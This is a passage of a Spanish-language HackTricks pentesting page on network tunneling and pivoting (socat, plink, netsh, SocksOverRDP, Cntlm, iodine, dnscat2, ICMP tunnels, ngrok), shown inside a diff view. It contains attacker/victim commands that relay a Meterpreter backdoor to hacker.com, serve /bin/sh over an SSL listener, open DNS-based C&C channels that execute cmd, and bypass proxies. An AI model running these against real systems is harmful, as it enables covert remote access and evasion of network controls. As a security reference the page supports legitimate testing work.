Por ejemplo, si se desea acceder a un servidor web que se ejecuta en el puerto 80 de un servidor remoto, se puede utilizar Port2Port para redirigir el tráfico del puerto 8080 del equipo local al puerto 80 del servidor remoto a través de una conexión SSH. De esta manera, se puede acceder al servidor web remoto desde el equipo local a través del puerto 8080.
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port a través de socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter a través de SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Puedes saltarte un **proxy no autenticado** ejecutando esta línea en lugar de la última en la consola de la víctima:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
### Túnel SSL con Socat
|
||||
|
||||
**Consola /bin/sh**
|
||||
|
||||
Crear certificados en ambos lados: Cliente y Servidor.
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
openssl genrsa -out $FILENAME.key 1024
|
||||
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
chmod 600 $FILENAME.key $FILENAME.pem
|
||||
```
|
||||
|
||||
```bash
|
||||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Port2Port Remoto
|
||||
|
||||
Conecta el puerto SSH local (22) al puerto 443 del host atacante.
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
|
||||
|
||||
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio ssh y puerto para poder tener una conexión inversa. Luego, para reenviar solo el puerto accesible localmente a un puerto en nuestra máquina:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
```
|
||||
## Windows netsh
|
||||
|
||||
### Puerto a puerto
|
||||
|
||||
Es necesario ser un administrador local (para cualquier puerto)
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||
# Example:
|
||||
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
|
||||
# Check the port forward was created:
|
||||
netsh interface portproxy show v4tov4
|
||||
# Delete port forward
|
||||
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Es necesario tener **acceso RDP al sistema**.\
|
||||
Descarga:
|
||||
|
||||
1. [Binarios SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza los `Canales Virtuales Dinámicos` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **tunelizar paquetes a través de la conexión RDP**.
|
||||
2. [Binario Portátil de Proxifier](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
En tu ordenador cliente carga **`SocksOverRDP-Plugin.dll`** de esta manera:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ahora podemos **conectarnos** al **objetivo** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** que dice que el complemento **SocksOverRDP** está habilitado y que escuchará en **127.0.0.1:1080**.
|
||||
|
||||
**Conéctese** a través de **RDP** y cargue y ejecute en la máquina víctima el binario **`SocksOverRDP-Server.exe`**:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Ahora, confirma en tu máquina (atacante) que el puerto 1080 está escuchando:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ahora puedes usar [**Proxifier**](https://www.proxifier.com/) **para hacer un proxy del tráfico a través de ese puerto.**
|
||||
|
||||
## Proxificar aplicaciones GUI de Windows
|
||||
|
||||
Puedes hacer que las aplicaciones GUI de Windows naveguen a través de un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
En **Perfil -> Servidores Proxy** agrega la dirección IP y el puerto del servidor SOCKS.\
|
||||
En **Perfil -> Reglas de Proxificación** agrega el nombre del programa a proxificar y las conexiones a las direcciones IP que deseas proxificar.
|
||||
|
||||
## Bypass de proxy NTLM
|
||||
|
||||
La herramienta mencionada anteriormente: **Rpivot**\
|
||||
**OpenVPN** también puede evitarlo, configurando estas opciones en el archivo de configuración:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
### Cntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Cntlm autentica contra un proxy y enlaza un puerto local que se reenvía al servicio externo que especifiques. Luego, puedes usar la herramienta que elijas a través de este puerto.\
|
||||
Por ejemplo, se puede reenviar el puerto 443.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Ahora, si configuras, por ejemplo, en la víctima el servicio **SSH** para que escuche en el puerto 443, puedes conectarte a él a través del puerto 2222 del atacante.\
|
||||
También podrías usar un **meterpreter** que se conecte a localhost:443 y el atacante esté escuchando en el puerto 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tunneling
|
||||
|
||||
### Iodine
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Se necesita acceso de root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando consultas DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
El túnel será muy lento. Puedes crear una conexión SSH comprimida a través de este túnel usando:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
### DNSCat2
|
||||
|
||||
****[**Descárgalo aquí**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Establece un canal C\&C a través de DNS. No necesita privilegios de root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
||||
# If using it in an internal network for a CTF:
|
||||
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
||||
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **En PowerShell**
|
||||
|
||||
Puedes usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para ejecutar un cliente dnscat2 en PowerShell:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
```
|
||||
#### **Reenvío de puertos con dnscat**
|
||||
|
||||
---
|
||||
|
||||
Dnscat es una herramienta que permite el reenvío de puertos a través de DNS. Esto significa que podemos enviar tráfico de red a través de un canal DNS, lo que puede ser útil en situaciones en las que el tráfico de red está restringido o filtrado.
|
||||
|
||||
Para utilizar dnscat, necesitamos un servidor DNS que permita la actualización dinámica de registros DNS. Podemos utilizar un servidor DNS público como `nsupdate.info` o configurar nuestro propio servidor DNS.
|
||||
|
||||
Una vez que tenemos un servidor DNS configurado, podemos utilizar dnscat para crear un túnel de red. Primero, necesitamos iniciar un servidor dnscat en nuestro servidor DNS:
|
||||
|
||||
```
|
||||
dnscat2 --dns <DNS_SERVER_IP>
|
||||
```
|
||||
|
||||
Esto iniciará un servidor dnscat que escuchará en el puerto 53 de nuestro servidor DNS. A continuación, podemos iniciar un cliente dnscat en nuestra máquina local para conectarnos al servidor:
|
||||
|
||||
```
|
||||
dnscat2 --host <DNS_SERVER_IP>
|
||||
```
|
||||
|
||||
Esto iniciará un cliente dnscat que se conectará al servidor dnscat en nuestro servidor DNS. A partir de aquí, podemos utilizar el túnel de red para enviar tráfico a través de DNS.
|
||||
|
||||
Por ejemplo, para reenviar el tráfico del puerto 80 a través del túnel, podemos utilizar el siguiente comando en nuestra máquina local:
|
||||
|
||||
```
|
||||
ssh -R 80:localhost:80 <USERNAME>@<SERVER_IP>
|
||||
```
|
||||
|
||||
Esto reenviará el tráfico del puerto 80 de nuestro servidor al puerto 80 de nuestra máquina local a través del túnel dnscat.
|
||||
|
||||
---
|
||||
|
||||
**Nota:** Dnscat no es una herramienta segura para el anonimato o la privacidad, ya que el tráfico se envía a través de DNS, lo que puede ser monitoreado y filtrado por los proveedores de servicios de Internet y otros atacantes.
|
||||
```bash
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Cambiar el DNS de proxychains
|
||||
|
||||
Proxychains intercepta la llamada libc `gethostbyname` y tuneliza la solicitud tcp DNS a través del proxy socks. Por **defecto**, el servidor **DNS** que usa proxychains es **4.2.2.2** (codificado). Para cambiarlo, edite el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambie la IP. Si está en un entorno de **Windows**, podría establecer la IP del **controlador de dominio**.
|
||||
|
||||
## Túneles en Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## Tunneling ICMP
|
||||
|
||||
### Hans
|
||||
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando solicitudes de eco ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
||||
```
|
||||
### ptunnel-ng
|
||||
|
||||
****[**Descárgalo desde aquí**](https://github.com/utoni/ptunnel-ng.git).
|
||||
```bash
|
||||
# Generate it
|
||||
sudo ./autogen.sh
|
||||
|
||||
# Server -- victim (needs to be able to receive ICMP)
|
||||
sudo ptunnel-ng
|
||||
# Client - Attacker
|
||||
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
|
||||
# Try to connect with SSH through ICMP tunnel
|
||||
ssh -p 2222 -l user 127.0.0.1
|
||||
# Create a socks proxy through the SSH connection through the ICMP tunnel
|
||||
ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) es una herramienta para exponer soluciones a Internet en una sola línea de comando.**
|
||||
*Las URI de exposición son como:* **UID.ngrok.io**
|
||||
|
||||
### Instalación
|
||||
|
||||
- Crear una cuenta: https://ngrok.com/signup
|
||||
- Descargar el cliente:
|
||||
```bash
|
||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||
chmod a+x ./ngrok
|
||||
# Init configuration, with your token
|
||||
./ngrok config edit
|
||||
```
|
||||
### Usos básicos
|
||||
|
||||
**Documentación:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*También es posible agregar autenticación y TLS, si es necesario.*
|
||||
|
||||
#### Tunelización TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
# Example of resulting link: 0.tcp.ngrok.io:12345
|
||||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Exponiendo archivos con HTTP
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Sniffing de llamadas HTTP
|
||||
|
||||
*Útil para XSS, SSRF, SSTI ...*
|
||||
Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunelización de servicio HTTP interno
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
# With basic auth
|
||||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||||
```
|
||||
#### Ejemplo de configuración simple de ngrok.yaml
|
||||
|
||||
Abre 3 túneles:
|
||||
- 2 TCP
|
||||
- 1 HTTP con exposición de archivos estáticos desde /tmp/httpbin/
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
addr: 4444
|
||||
proto: tcp
|
||||
anothertcp:
|
||||
addr: 5555
|
||||
proto: tcp
|
||||
httpstatic:
|
||||
proto: http
|
||||
addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Otras herramientas para revisar
|
||||
|
||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
Loading…
Reference in New Issue
Block a user